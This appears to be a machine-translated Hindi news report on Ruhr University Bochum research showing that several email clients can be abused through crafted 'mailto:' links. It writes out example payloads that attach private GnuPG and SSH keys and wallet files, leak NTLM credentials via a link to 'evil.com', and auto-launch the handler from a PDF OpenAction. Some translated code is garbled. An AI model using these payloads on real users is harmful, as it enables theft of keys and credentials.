"mailto:" लिंक का उपयोग करके ईमेल क्लाइंट उपयोगकर्ताओं पर हमला करना

रूहर यूनिवर्सिटी बोचुम (जर्मनी) के शोधकर्ता विश्लेषण (पीडीएफ) उन्नत मापदंडों के साथ "मेलटू:" लिंक को संसाधित करते समय मेल क्लाइंट का व्यवहार। जांचे गए बीस ईमेल क्लाइंट में से पांच ऐसे हमले के प्रति संवेदनशील थे जिन्होंने "अटैच" पैरामीटर का उपयोग करके संसाधन प्रतिस्थापन में हेरफेर किया था। अतिरिक्त छह ईमेल क्लाइंट PGP और S/MIME कुंजी प्रतिस्थापन हमले के प्रति संवेदनशील थे, और तीन क्लाइंट एन्क्रिप्टेड संदेशों की सामग्री को निकालने के लिए हमले के प्रति संवेदनशील थे।

लिंक «mailto:"लिंक में निर्दिष्ट पते वाले को पत्र लिखने के लिए ईमेल क्लाइंट के उद्घाटन को स्वचालित करने के लिए उपयोग किया जाता है। पते के अलावा, आप लिंक के हिस्से के रूप में अतिरिक्त पैरामीटर निर्दिष्ट कर सकते हैं, जैसे पत्र का विषय और विशिष्ट सामग्री के लिए एक टेम्पलेट। प्रस्तावित हमला "अटैच" पैरामीटर में हेरफेर करता है, जो आपको जेनरेट किए गए संदेश के साथ अटैचमेंट संलग्न करने की अनुमति देता है।

मेल क्लाइंट थंडरबर्ड, गनोम इवोल्यूशन (सीवीई-2020-11879), केडीई केमेल (सीवीई-2020-11880), आईबीएम/एचसीएल नोट्स (सीवीई-2020-4089) और पेगासस मेल एक मामूली हमले के प्रति संवेदनशील थे जो आपको स्वचालित रूप से संलग्न करने की अनुमति देता है कोई भी स्थानीय फ़ाइल, जिसे "mailto:?attach=path_to_file" जैसे लिंक के माध्यम से निर्दिष्ट किया गया है। फ़ाइल चेतावनी प्रदर्शित किए बिना संलग्न है, इसलिए विशेष ध्यान के बिना, उपयोगकर्ता यह नहीं देख सकता है कि पत्र अनुलग्नक के साथ भेजा जाएगा।

उदाहरण के लिए, "mailto:" जैसे लिंक का उपयोग करना[ईमेल संरक्षित]&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" आप पत्र में GnuPG से निजी कुंजियाँ सम्मिलित कर सकते हैं। आप क्रिप्टो वॉलेट की सामग्री (~/.bitcoin/wallet.dat), SSH कुंजी (~/.ssh/id_rsa) और उपयोगकर्ता के लिए पहुंच योग्य कोई भी फ़ाइल भी भेज सकते हैं। इसके अलावा, थंडरबर्ड आपको "अटैच=/tmp/*.txt" जैसी संरचनाओं का उपयोग करके मास्क द्वारा फ़ाइलों के समूह संलग्न करने की अनुमति देता है।

स्थानीय फ़ाइलों के अलावा, कुछ ईमेल क्लाइंट IMAP सर्वर में नेटवर्क स्टोरेज और पथों के लिंक संसाधित करते हैं। विशेष रूप से, आईबीएम नोट्स आपको "अटैच=\\evil.com\dummyfile" जैसे लिंक को संसाधित करते समय नेटवर्क निर्देशिका से एक फ़ाइल स्थानांतरित करने की अनुमति देता है, साथ ही हमलावर द्वारा नियंत्रित एसएमबी सर्वर पर एक लिंक भेजकर एनटीएलएम प्रमाणीकरण पैरामीटर को रोकता है। (अनुरोध वर्तमान प्रमाणीकरण पैरामीटर उपयोगकर्ता के साथ भेजा जाएगा)।

थंडरबर्ड सफलतापूर्वक "अटैच=इमैप:///fetch>UID>/INBOX>1/" जैसे अनुरोधों को संसाधित करता है, जो आपको IMAP सर्वर पर फ़ोल्डरों से सामग्री संलग्न करने की अनुमति देता है। उसी समय, IMAP से प्राप्त संदेश, OpenPGP और S/MIME के ​​माध्यम से एन्क्रिप्ट किए गए, भेजने से पहले मेल क्लाइंट द्वारा स्वचालित रूप से डिक्रिप्ट किए जाते हैं। थंडरबर्ड के डेवलपर थे अधिसूचित फरवरी में समस्या और अंक के बारे में थंडरबर्ड 78 समस्या पहले ही ठीक कर दी गई है (थंडरबर्ड शाखाएँ 52, 60 और 68 असुरक्षित बनी हुई हैं)।

थंडरबर्ड के पुराने संस्करण शोधकर्ताओं द्वारा प्रस्तावित पीजीपी और एस/एमआईएमई पर दो अन्य हमले वेरिएंट के प्रति भी असुरक्षित थे। विशेष रूप से, थंडरबर्ड, साथ ही आउटलुक, पोस्टबॉक्स, ईएम क्लाइंट, मेलमेट और आर2मेल2, एक कुंजी प्रतिस्थापन हमले के अधीन थे, जो इस तथ्य के कारण हुआ कि मेल क्लाइंट स्वचालित रूप से एस/एमआईएमई संदेशों में प्रेषित नए प्रमाणपत्रों को आयात और स्थापित करता है, जो अनुमति देता है हमलावर उपयोगकर्ता द्वारा पहले से संग्रहीत सार्वजनिक कुंजियों के प्रतिस्थापन को व्यवस्थित करने के लिए।

दूसरा हमला, जिसके लिए थंडरबर्ड, पोस्टबॉक्स और मेलमेट अतिसंवेदनशील हैं, ड्राफ्ट संदेशों को ऑटोसेविंग करने के लिए तंत्र की विशेषताओं में हेरफेर करता है और एन्क्रिप्टेड संदेशों के डिक्रिप्शन या मनमाने संदेशों के लिए डिजिटल हस्ताक्षर जोड़ने के लिए मेलटो पैरामीटर का उपयोग करने की अनुमति देता है। बाद में हमलावर के IMAP सर्वर पर परिणाम का प्रसारण। इस हमले में, सिफरटेक्स्ट को "बॉडी" पैरामीटर के माध्यम से प्रसारित किया जाता है, और "मेटा रिफ्रेश" टैग का उपयोग हमलावर के IMAP सर्वर पर कॉल शुरू करने के लिए किया जाता है। उदाहरण के लिए: ' '

उपयोगकर्ता की सहभागिता के बिना "मेलटो:" लिंक को स्वचालित रूप से संसाधित करने के लिए, विशेष रूप से डिज़ाइन किए गए पीडीएफ दस्तावेज़ों का उपयोग किया जा सकता है - पीडीएफ में ओपनएक्शन कार्रवाई आपको दस्तावेज़ खोलते समय स्वचालित रूप से मेलटो हैंडलर लॉन्च करने की अनुमति देती है:

%पीडीएफ-1.5
1 0 ओब्जेक्ट
<< /प्रकार /कैटलॉग /ओपनएक्शन [2 0 आर] >>
एंडोब्ज

2 0 ओब्जेक्ट
<< /प्रकार /क्रिया /एस /यूआरआई/यूआरआई (मेलटू:?बॉडी=——पीजीपी संदेश शुरू करें——[…])>>
एंडोब्ज

स्रोत: opennet.ru